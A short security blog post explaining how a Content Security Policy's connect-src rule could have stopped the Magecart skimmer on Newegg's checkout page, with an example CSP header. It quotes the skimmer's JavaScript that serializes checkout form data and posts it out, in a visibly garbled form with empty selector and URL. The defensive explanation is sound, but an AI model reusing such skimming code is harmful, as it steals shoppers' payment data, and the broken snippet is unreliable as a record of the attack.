How a Content Security Policy (CSP) Could Have Protected Newegg

Fifteen lines of code — 15 lines of JavaScript, to be precise — is all it took for Magecart (editor’s note: lol at that name) to capture payment data on Newegg’s billing page before sending it to a domain they registered. Here are those 15 lines:

window.onload = function() {
  jQuery('').bind("mouseup touchend", function(e) {
   var dati = jQuery('#checkout');
   var pdati = JSON.stringify(dati.serializeArray());
   setTimeout(function() {
     type: "POST",
     async: true,
     url: "",
     data: pdati,
     dataType: 'application/json'
   }, 250);

We don’t know how this malicious code was injected on Newegg’s billing page, but we do know how Newegg could have drastically decreased the likelihood of a breach.

Content Security Policy

Content Security Policy (CSP) is a security standard which helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks resulting from execution of malicious content in a trusted web page context. It’s also supported and enforced by all major web browsers.

Looking at the code above, we can see that Magecart embedded an XHR request to CSP provides space for defining a rule that blocks this type of request by establishing policies to only permit certain types of content from safe sources. When configuring your web servers, make sure they are set to return the Content-Security-Policy HTTP header. For example:

  default-src 'self' *;
  img-src *;
  connect-src 'self'

For this particular breach, connect-src is the critical rule. Again, because we don’t know how the code was actually injected, we can’t be sure that CSP would prevent the injection itself. However, the connect-src directive would have prevented the HTTP request to send the data to somewhere else, especially a sneakily-named domain.